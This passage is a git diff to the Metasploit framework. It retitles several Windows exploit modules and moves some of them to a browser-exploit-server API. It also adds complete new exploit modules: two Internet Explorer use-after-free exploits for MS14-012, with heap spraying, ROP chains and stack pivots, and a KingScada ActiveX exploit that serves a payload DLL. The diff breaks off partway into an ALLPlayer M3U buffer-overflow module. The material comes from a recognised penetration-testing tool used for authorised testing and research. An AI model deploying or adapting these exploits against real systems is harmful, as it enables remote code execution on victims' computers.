           This module exploits a memory corruption vulnerability within Microsoft\'s
         HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb
index 8616601c5b..4d9fd8ad03 100644
--- a/modules/exploits/windows/browser/ms11_081_option.rb
+++ b/modules/exploits/windows/browser/ms11_081_option.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "Microsoft Internet Explorer Option Element Use-After-Free",
+      'Name'           => "MS11-081 Microsoft Internet Explorer Option Element Use-After-Free",
       'Description'    => %q{
           This module exploits a vulnerability in Microsoft Internet Explorer.  A memory
         corruption may occur when the Option cache isn't updated properly, which allows
diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
index 46d4cbf27b..8861425c39 100644
--- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
+++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
@@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Internet Explorer Fixed Table Col Span Heap Overflow',
+      'Name'           => 'MS12-037 Microsoft Internet Explorer Fixed Table Col Span Heap Overflow',
       'Description'    => %q{
           This module exploits a heap overflow vulnerability in Internet Explorer caused
         by an incorrect handling of the span attribute for col elements from a fixed table,
diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb
index 787568d2dd..3896efe88c 100644
--- a/modules/exploits/windows/browser/ms12_037_same_id.rb
+++ b/modules/exploits/windows/browser/ms12_037_same_id.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
+      'Name'           => "MS12-037 Microsoft Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",
       'Description'    => %q{
           This module exploits a memory corruption flaw in Internet Explorer 8 when
         handling objects with the same ID property. At the moment this module targets
diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
index df3b0b3db1..ccf84f2a66 100644
--- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
+++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb
@@ -8,16 +8,15 @@ require 'msf/core'
 class Metasploit3 < Msf::Exploit::Remote
   Rank = NormalRanking
 
-  include Msf::Exploit::Remote::HttpServer::HTML
-  include Msf::Exploit::RopDb
+  include Msf::Exploit::Remote::BrowserExploitServer
 
   def initialize(info={})
     super(update_info(info,
       'Name'           => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free",
       'Description'    => %q{
         This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9,
-        it seems to only affect certain releases of mshtml.dll. For example: This module
-        can be used against version 9.0.8112.16446, but not for 9.0.8112.16421. IE 8
+        it seems to only affect certain releases of mshtml.dll, ranging from a newly
+        installed IE9 (9.0.8112.16446), to 9.00.8112.16502 (July 2013 update). IE8
         requires a different way to trigger the vulnerability, but not currently covered
         by this module.
 
@@ -56,11 +55,19 @@ class Metasploit3 < Msf::Exploit::Remote
           [ 'ZDI', '13-195' ]
         ],
       'Platform'       => 'win',
+      'BrowserRequirements' =>
+        {
+          :source       => /script/i,
+          :os_name      => OperatingSystems::WINDOWS,
+          :ua_name      => HttpClients::IE,
+          :ua_ver       => "9.0",
+          :os_flavor    => "7",
+          :java         => /1\.6|6\.0/,
+          :mshtml_build => lambda { |ver| ver.to_i.between?(16446, 16490) } # May 17 mshtml to MS13-Jun
+        },
       'Targets'        =>
         [
-          # Vulnerable IE9 tested: 9.0.8112.16446
-          [ 'Automatic', {} ],
-          [ 'IE 9 on Windows 7 SP1 (mshtml 9.0.8112.16446)', {} ]
+          [ 'Automatic', {} ]
         ],
       'Payload'        =>
         {
@@ -90,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
     obj << [rnd_dword].pack("V*")
     obj << [rnd_dword].pack("V*")
 
-    return obj
+    obj
   end
 
   # Target spray 0x20302020
@@ -110,31 +117,25 @@ class Metasploit3 < Msf::Exploit::Remote
       0x0c0c0c0c
     ].pack("V*")
 
-    p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
-
-    return p
-  end
-
-  def is_win7_ie9?(agent)
-    (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
+    generate_rop_payload('java', code, {'pivot'=>stack_pivot})
   end
 
   # The meta-refresh seems very necessary to make the object overwrite more reliable.
   # Without it, it only gets about 50/50
-  def get_html(cli, req)
-    js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
-    js_payload  = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
+  def get_template
+    js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj)
+    js_payload  = ::Rex::Text.to_unescape(get_payload)
 
-    html = %Q|
+    template = %Q|
     <html>
     <meta http-equiv="X-UA-Compatible" content="IE=7"/>
     <meta http-equiv="refresh" content="2"/>
     <head>
     <script language='javascript'>
-    #{js_property_spray}
+    <%=js_property_spray%>
 
-    var fake_obj = unescape("#{js_fake_obj}");
-    var s = unescape("#{js_payload}");
+    var fake_obj = unescape("<%=js_fake_obj%>");
+    var s = unescape("<%=js_payload%>");
 
     sprayHeap({shellcode:s});
 
@@ -148,7 +149,7 @@ class Metasploit3 < Msf::Exploit::Remote
       document.execCommand('SelectAll');
       document.execCommand('InsertButton');
       sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
-      document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
+      document.body.innerHTML = '<%=Rex::Text.rand_text_alpha(1)%>';
     }
     </script>
     </head>
@@ -156,16 +157,10 @@ class Metasploit3 < Msf::Exploit::Remote
     </html>
     |
 
-    html.gsub(/^ {4}/, '')
+    return template, binding()
   end
 
-  def on_request_uri(cli, request)
-    if is_win7_ie9?(request.headers['User-Agent'])
-      print_status("Sending exploit...")
-      send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
-    else
-      print_error("Not a suitable target: #{request.headers['User-Agent']}")
-      send_not_found(cli)
-    end
+  def on_request_exploit(cli, request, target_info)
+    send_exploit_html(cli, get_template)
   end
 end
diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
new file mode 100644
index 0000000000..27350a62ca
--- /dev/null
+++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb
@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
+      'Description'    => %q{
+        This module exploits an use after free condition on Internet Explorer as used in the wild
+        on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
+        bypass ASLR and finally DEP.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Unknown', # Vulnerability discovery and Exploit in the wild
+          'Jean-Jamil Khalife', # Exploit
+          'juan vazquez' # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2014-0322' ],
+          [ 'MSB', 'MS14-012' ],
+          [ 'BID', '65551' ],
+          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
+          [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
+        ],
+      'Platform'       => 'win',
+      'Arch'           => ARCH_X86,
+      'Payload'        =>
+        {
+          'Space'          => 960,
+          'DisableNops'    => true,
+          'PrependEncoder' => stack_adjust
+        },
+      'BrowserRequirements' =>
+        {
+          :source      => /script|headers/i,
+          :os_name     => Msf::OperatingSystems::WINDOWS,
+          :os_flavor   => Msf::OperatingSystems::WindowsVersions::SEVEN,
+          :ua_name     => Msf::HttpClients::IE,
+          :ua_ver      => '10.0',
+          :mshtml_build => lambda { |ver| ver.to_i < 16843 },
+          :flash       => /^12\./
+        },
+      'DefaultOptions' =>
+        {
+          'InitialAutoRunScript' => 'migrate -f',
+          'Retries'              => false
+        },
+      'Targets'        =>
+        [
+          [ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Feb 13 2014",
+      'DefaultTarget'  => 0))
+
+  end
+
+  def stack_adjust
+    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
+    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
+    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
+    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+
+    adjust
+  end
+
+  def create_swf
+    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
+    fd = ::File.open( path, "rb" )
+    swf = fd.read(fd.stat.size)
+    fd.close
+    return swf
+  end
+
+  def exploit
+    @swf = create_swf
+    super
+  end
+
+  def on_request_uri(cli, request)
+    print_status("Request: #{request.uri}")
+
+    if request.uri =~ /\.swf$/
+      print_status("Sending SWF...")
+      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
+      return
+    end
+
+    super
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    print_status("Sending HTML...")
+    send_exploit_html(cli, exploit_template(cli, target_info))
+  end
+
+  def exploit_template(cli, target_info)
+
+    flash_payload = ""
+    get_payload(cli,target_info).unpack("V*").each do |i|
+      flash_payload << "0x#{i.to_s(16)},"
+    end
+    flash_payload.gsub!(/,$/, "")
+
+    html_template = %Q|
+    <html>
+    <head>
+    </head>
+    <body>
+
+    <script>
+
+    var g_arr = [];
+    var arrLen = 0x250;
+
+    function dword2data(dword)
+    {
+      var d = Number(dword).toString(16);
+      while (d.length < 8)
+        d = '0' + d;
+
+      return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
+    }
+
+    function eXpl()
+    {
+      var a=0;
+
+      for (a=0; a < arrLen; a++) {
+          g_arr[a] = document.createElement('div');
+      }
+
+      var b = dword2data(0x19fffff3);
+
+      while (b.length < 0x360) {
+        if (b.length == (0x98 / 2))
+        {
+          b += dword2data(0x1a000010);
+        }
+        else if (b.length == (0x94 / 2))
+        {
+          b += dword2data(0x1a111111);
+        }
+        else if (b.length == (0x15c / 2))
+        {
+          b += dword2data(0x42424242);
+        }
+        else
+        {
+          b += dword2data(0x19fffff3);
+        }
+      }
+
+      var d = b.substring(0, ( 0x340 - 2 )/2);
+
+      try{
+        this.outerHTML=this.outerHTML
+      } catch(e){
+
+      }
+
+      CollectGarbage();
+
+      for (a=0; a < arrLen; a++)
+        {
+          g_arr[a].title = d.substring(0, d.length);
+        }
+    }
+
+    function trigger()
+    {
+        var a = document.getElementsByTagName("script");
+        var b = a[0];
+        b.onpropertychange = eXpl;
+        var c = document.createElement('SELECT');
+        c = b.appendChild(c);
+    }
+
+    </script>
+    <embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">
+    </embed>
+    </body>
+    </html>
+    |
+
+    return html_template, binding()
+  end
+
+end
diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb
new file mode 100644
index 0000000000..1d20e1625d
--- /dev/null
+++ b/modules/exploits/windows/browser/ms14_012_textrange.rb
@@ -0,0 +1,155 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free",
+      'Description'    => %q{
+        This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
+        was most likely introduced in 2013, therefore only certain builds of MSHTML are
+        affected. In our testing with IE9, these vulnerable builds appear to be between
+        9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between
+        August 2013, when it was introduced, until the fix issued in early March 2014.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Jason Kratzer', # Original discovery
+          'sinn3r'         # Port
+        ],
+      'References'     =>
+        [
+          [ 'CVE', '2014-0307' ],
+          [ 'MSB', 'MS14-012' ]
+        ],
+      'Platform'       => 'win',
+      'BrowserRequirements' =>
+        {
+          :source  => /script/i,
+          :os_name => OperatingSystems::WINDOWS,
+          :ua_name => HttpClients::IE,
+          :office  => "2010",
+          :ua_ver  => '9.0',
+          :mshtml_build => lambda { |ver| ver.to_i.between?(16496, 16533) } # Covers MS13-Jul to MS14-Feb
+        },
+      'Targets'        =>
+        [
+          [
+            'Automatic',
+              {
+                # mov eax,dword ptr [edx+0C4h]; call eax
+                'Pivot' => 0x0c0d1020 # ECX
+              }
+          ]
+        ],
+      'Payload'        =>
+        {
+          'BadChars'       => "\x00",
+          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
+        },
+      'DefaultOptions'  =>
+        {
+          'Retries'              => false, # You're too kind, tab recovery, I only need 1 shell.
+          'InitialAutoRunScript' => 'migrate -f'
+        },
+      'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
+      'DefaultTarget'  => 0))
+  end
+
+  # hxds.dll
+  def get_payload
+    setup =
+    [
+      0x51C3B376, # rop nop
+      0x51C2046E, # pop edi; ret
+      0x51BE4A41, # xchg eax, esp; ret
+    ].pack("V*")
+
+    # rop nops
+    45.times { setup << [0x51C3B376].pack('V*') }
+
+    setup << [
+      0x51C2046E, # pop edi ; ret
+      0x51BD28D4  # mov eax, [ecx], call [eax+8]
+    ].pack('V*')
+
+    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})
+
+    Rex::Text.to_unescape(p)
+  end
+
+  def exploit_html
+    template = %Q|<!DOCTYPE html>
+<html>
+  <head>
+    <meta http-equiv='Cache-Control' content='no-cache'/>
+    <meta http-equiv="X-UA-Compatible" content="IE=edge" >
+    <script>
+      <%=js_property_spray%>
+      sprayHeap({shellcode:unescape("<%=get_payload%>")});
+
+      function hxds() {
+        try {
+          location.href = 'ms-help:';
+        } catch(e) {}
+      }
+
+      function strike() {
+        hxds();
+        var fake = "";
+        for (var i = 0; i < 12; i++) {
+          if (i==0) {
+             fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
+          }
+          else {
+            fake += "\\u4141\\u4141";
+          }
+        }
+
+        var elements = [
+          'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
+          'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
+        ];
+
+        for (var i = 0; i < elements.length; i++) {
+          var element = document.createElement(elements[i]);
+          document.body.appendChild(element);
+        }
+
+        var tRange = document.body.createTextRange();
+        tRange.moveToElementText(document.body.children[16]);
+        tRange.execCommand('InsertInputSubmit', true, null);
+        tRange.moveToElementText(document.body.children[0]);
+        tRange.moveEnd('character',4);
+        tRange.execCommand('InsertOrderedList', true, null);
+        tRange.select();
+        tRange.moveToElementText(document.body.children[0]);
+        tRange.moveEnd('character',13);
+        tRange.execCommand('Underline', true, null);
+        tRange.execCommand('RemoveFormat', true, null);
+        var fillObject = document.createElement('button');
+        fillObject.className = fake;
+      }
+    </script>
+  </head>
+  <body onload='strike();'></body>
+</html>
+    |
+
+    return template, binding()
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    send_exploit_html(cli, exploit_html)
+  end
+
+end
diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
index a32c3f9348..474efd2f79 100644
--- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb
+++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb
@@ -72,13 +72,11 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_new_session(session)
     if session.type == "meterpreter"
       session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
-    end
 
-    @dropped_files.delete_if do |file|
-      win_file = file.gsub("/", "\\\\")
-      if session.type == "meterpreter"
+      @dropped_files.delete_if do |file|
+        win_file = file.gsub("/", "\\\\")
         begin
-          wintemp = session.fs.file.expand_path("%TEMP%")
+          wintemp = session.sys.config.getenv('TEMP')
           win_file = "#{wintemp}\\#{win_file}"
           # Meterpreter should do this automatically as part of
           # fs.file.rm().  Until that has been implemented, remove the
@@ -91,7 +89,6 @@ class Metasploit3 < Msf::Exploit::Remote
           print_error("Failed to delete #{win_file}")
           false
         end
-
       end
     end
 
@@ -184,4 +181,4 @@ class Metasploit3 < Msf::Exploit::Remote
 
   end
 
-end
\ No newline at end of file
+end
diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
index 349e7f096d..0648beac5c 100644
--- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
+++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super( update_info(info,
-      'Name'           => 'Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow',
+      'Name'           => 'Novell iPrint Client ActiveX Control Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
         sending an overly long string to the GetDriverSettings() property of ienipp.ocx
diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
index b1618c0aaf..55be42c401 100644
--- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
+++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb
@@ -66,13 +66,11 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_new_session(session)
     if session.type == "meterpreter"
       session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
-    end
 
-    @dropped_files.delete_if do |file|
-      win_file = file.gsub("/", "\\\\")
-      if session.type == "meterpreter"
+      @dropped_files.delete_if do |file|
+        win_file = file.gsub("/", "\\\\")
         begin
-          wintemp = session.fs.file.expand_path("%TEMP%")
+          wintemp = session.sys.config.getenv('TEMP')
           win_file = "#{wintemp}\\#{win_file}"
           session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
           session.fs.file.rm(win_file)
@@ -82,7 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
           print_error("Failed to delete #{win_file}")
           false
         end
-
       end
     end
   end
@@ -257,4 +254,4 @@ This code allows to launch other executables with user data provided as argument
 solution because it allows to pass URL's as arguments. And code executed by mshta is on a privileged zone. Other
 executables allow to provide SMB URI's but metasploit only allow to 'simulate' a SMB resource through webdav, so
 the target should have the WebClient service enabled, which is only enabled by default on XP SP3.
-=end
\ No newline at end of file
+=end
diff --git a/modules/exploits/windows/browser/teechart_pro.rb b/modules/exploits/windows/browser/teechart_pro.rb
index 4f9d7207c5..38818ec04d 100644
--- a/modules/exploits/windows/browser/teechart_pro.rb
+++ b/modules/exploits/windows/browser/teechart_pro.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super( update_info(info,
-      'Name'           => 'TeeChart Professional ActiveX Control <= 2010.0.0.3 Trusted Integer Dereference',
+      'Name'           => 'TeeChart Professional ActiveX Control Trusted Integer Dereference',
       'Description'    => %q{
           This module exploits a integer overflow in TeeChart Pro ActiveX control. When
         sending an overly large/negative integer value to the AddSeries() property of
diff --git a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
index 6448edabf1..1c2ad39e81 100644
--- a/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
+++ b/modules/exploits/windows/browser/ubisoft_uplay_cmd_exec.rb
@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'Author'         =>
         [
           'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Initial discovery
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
+          'Ben Campbell',
           'phillips321 <phillips321[at]phillips321.co.uk>',
           'Richard Hicks <scriptmonkeyblog[at]gmail.com>'
         ],
diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
new file mode 100644
index 0000000000..a493e8b846
--- /dev/null
+++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb
@@ -0,0 +1,93 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = GoodRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+  include Msf::Exploit::EXE
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution',
+      'Description'    => %q{
+        This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada.
+        The ProjectURL property can be abused to download and load arbitrary DLLs from
+        arbitrary locations, leading to arbitrary code execution, because of a dangerous
+        usage of LoadLibrary. Due to the nature of the vulnerability, this module will work
+        only when Protected Mode is not present or not enabled.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Andrea Micalizzi',  # aka rgod original discovery
+          'juan vazquez'       # Metasploit module
+        ],
+      'References'     =>
+        [
+          ['CVE', '2013-2827'],
+          ['OSVDB', '102135'],
+          ['BID', '64941'],
+          ['ZDI', '14-011'],
+          ['URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-344-01']
+        ],
+      'DefaultOptions' =>
+        {
+          'InitialAutoRunScript' => 'migrate -f',
+        },
+      'BrowserRequirements' =>
+        {
+          :source      => /script|headers/i,
+          :os_name     => Msf::OperatingSystems::WINDOWS,
+          :ua_name     => /MSIE|KXCLIE/i
+        },
+      'Payload'        =>
+        {
+          'Space'           => 2048,
+          'StackAdjustment' => -3500,
+          'DisableNopes'    => true
+        },
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Automatic', { } ]
+        ],
+      'DefaultTarget'  => 0,
+      'DisclosureDate' => 'Jan 14 2014'))
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    print_status("Requested: #{request.uri}")
+
+    if request.uri =~ /\/libs\/.*\.dll/
+      print_good("Sending DLL payload")
+      send_response(cli,
+        generate_payload_dll(:code => get_payload(cli, target_info)),
+        'Content-Type' => 'application/octet-stream'
+      )
+      return
+    elsif request.uri =~ /\/libs\//
+      print_status("Sending not found")
+      send_not_found(cli)
+      return
+    end
+
+    content = <<-EOS
+<html>
+<body>
+<object classid='clsid:1A90B808-6EEF-40FF-A94C-D7C43C847A9F' id='#{rand_text_alpha(10 + rand(10))}'>
+<param name="ProjectURL" value="#{get_module_uri}"></param>
+</object>
+</body>
+</html>
+    EOS
+
+    print_status("Sending #{self.name}")
+    send_response_html(cli, content)
+  end
+
+end
diff --git a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
index a8ef64e651..f10e34be7a 100644
--- a/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
+++ b/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft RPC DCOM Interface Overflow',
+      'Name'           => 'MS03-026 Microsoft RPC DCOM Interface Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
         was originally found by the Last Stage of Delirium research group and has been
diff --git a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
index 5805029a6b..4880a4bae9 100644
--- a/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
+++ b/modules/exploits/windows/dcerpc/ms05_017_msmq.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Message Queueing Service Path Overflow',
+      'Name'           => 'MS05-017 Microsoft Message Queueing Service Path Overflow',
       'Description'    => %q{
         This module exploits a stack buffer overflow in the RPC interface
         to the Microsoft Message Queueing service. The offset to the
diff --git a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
index 056a6d768b..3d272f27b1 100644
--- a/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
+++ b/modules/exploits/windows/dcerpc/ms07_029_msdns_zonename.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
+      'Name'           => 'MS07-029 Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)',
       'Description'    => %q{
           This module exploits a stack buffer overflow in the RPC interface
         of the Microsoft DNS service. The vulnerability is triggered
diff --git a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
index d715f5b6b1..e087348398 100644
--- a/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
+++ b/modules/exploits/windows/dcerpc/ms07_065_msmq.rb
@@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Microsoft Message Queueing Service DNS Name Path Overflow',
+      'Name'           => 'MS07-065 Microsoft Message Queueing Service DNS Name Path Overflow',
       'Description'    => %q{
         This module exploits a stack buffer overflow in the RPC interface
       to the Microsoft Message Queueing service. This exploit requires
diff --git a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
index 85ec1cfdfd..41d788b2dd 100644
--- a/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
+++ b/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb
@@ -74,7 +74,15 @@ class Metasploit3 < Msf::Exploit::Remote
       startxrefs       = pdf_objects[2]
       root_obj         = pdf_objects[3]
 
-      output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
+      output = basic_social_engineering_exploit({
+        :xref_trailers => xref_trailers,
+        :root_obj => root_obj,
+        :stream => stream,
+        :trailers => trailers,
+        :file_name => file_name,
+        :exe_name => exe_name,
+        :startxref => startxrefs.last
+      })
 
       print_status("Parsing Successful. Creating '#{datastore['FILENAME']}' file...")
       file_create(output)
@@ -165,7 +173,15 @@ class Metasploit3 < Msf::Exploit::Remote
   end
 
 
-  def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
+  def basic_social_engineering_exploit(opts = {})
+
+    xref_trailers = opts[:xref_trailers]
+    root_obj = opts[:root_obj]
+    stream = opts[:stream]
+    trailers = opts[:trailers]
+    file_name = opts[:file_name]
+    exe_name = opts[:exe_name]
+    startxref = opts[:startxref]
 
     file_name = file_name.split(/\//).pop.to_s
 
diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
new file mode 100644
index 0000000000..d67c633928
--- /dev/null
+++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb
@@ -0,0 +1,108 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::FILEFORMAT
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'ALLPlayer M3U Buffer Overflow',
+      'Description'    => %q{
+          This module exploits a stack-based buffer overflow vulnerability in
+        ALLPlayer 2.8.1, caused by a long string in a playlist entry.
+        By persuading the victim to open a specially-crafted .M3U file, a
+        remote attacker could execute arbitrary code on the system or cause
+        the application to crash. This module has been tested successfully on
+        Windows 7 SP1.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'metacom',      # Vulnerability discovery
+          'Mike Czumak',  # Original exploit
+          'Gabor Seljan'  # Metasploit module
+        ],
+      'References'     =>
+        [
+          [ 'BID', '62926' ],
+          [ 'BID', '63896' ],
+          [ 'EDB', '28855' ],
+          [ 'EDB', '29549' ],
+          [ 'EDB', '29798' ],
+          [ 'EDB', '32041' ],
+          [ 'OSVDB', '98283' ],
+          [ 'URL', 'http://www.allplayer.org/' ]
+        ],
+      'DefaultOptions' =>
+        {
+          'ExitFunction' => 'process'
+        },
